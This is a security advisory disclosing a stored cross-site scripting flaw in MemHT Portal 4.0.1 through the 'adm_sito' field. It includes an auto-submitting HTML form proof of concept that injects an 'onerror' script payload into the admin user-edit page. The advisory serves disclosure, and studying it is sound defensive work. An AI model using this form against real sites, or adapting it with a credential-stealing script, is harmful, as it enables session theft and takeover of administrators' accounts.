Vulnerability ID: HTB22664 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_memht_portal_1.html Product: MemHT Portal Vendor: Miltenovik Manojlo ( http://www.memht.com/ ) Vulnerable Version: 4.0.1 and probably prior versions Vendor Notification: 19 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/pages/users/index.php" script to properly sanitize user-supplied input in "adm_sito" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin.php?page=users&id=USER_ID&ok=true" method="post" enctype="multipart/form-data" name="main"> <input type="hidden" name="adm_user" value="test"> <input type="hidden" name="adm_enabled" value="1"> <input type="hidden" name="adm_email" value="email@xxxxxxxxxxx"> <input type="hidden" name="adm_sito" value="1<img src=x onerror=alert(123)>"> <input type="hidden" name="adm_icq" value=""> <input type="hidden" name="adm_msn" value=""> <input type="hidden" name="adm_aol" value=""> <input type="hidden" name="adm_yahoo" value=""> <input type="hidden" name="adm_avatar" value="blank.png"> <input type="hidden" name="avatar" value=""> <input type="hidden" name="adm_gender" value="0"> <input type="hidden" name="adm_title_enabled" value="0"> <input type="hidden" name="adm_title_text" value="1"> <input type="hidden" name="feedurl" value="http://www.memht.com/rss-news.xml"> <input type="hidden" name="adm_signature" value=""> <input type="hidden" name="adm_pass" value=""> <input type="hidden" name="adm_pass2" value=""> <input type="hidden" name="op" value="editUser"> <input type="hidden" name="Submit" value="Modify"> </form> <script> document.main.submit(); </script>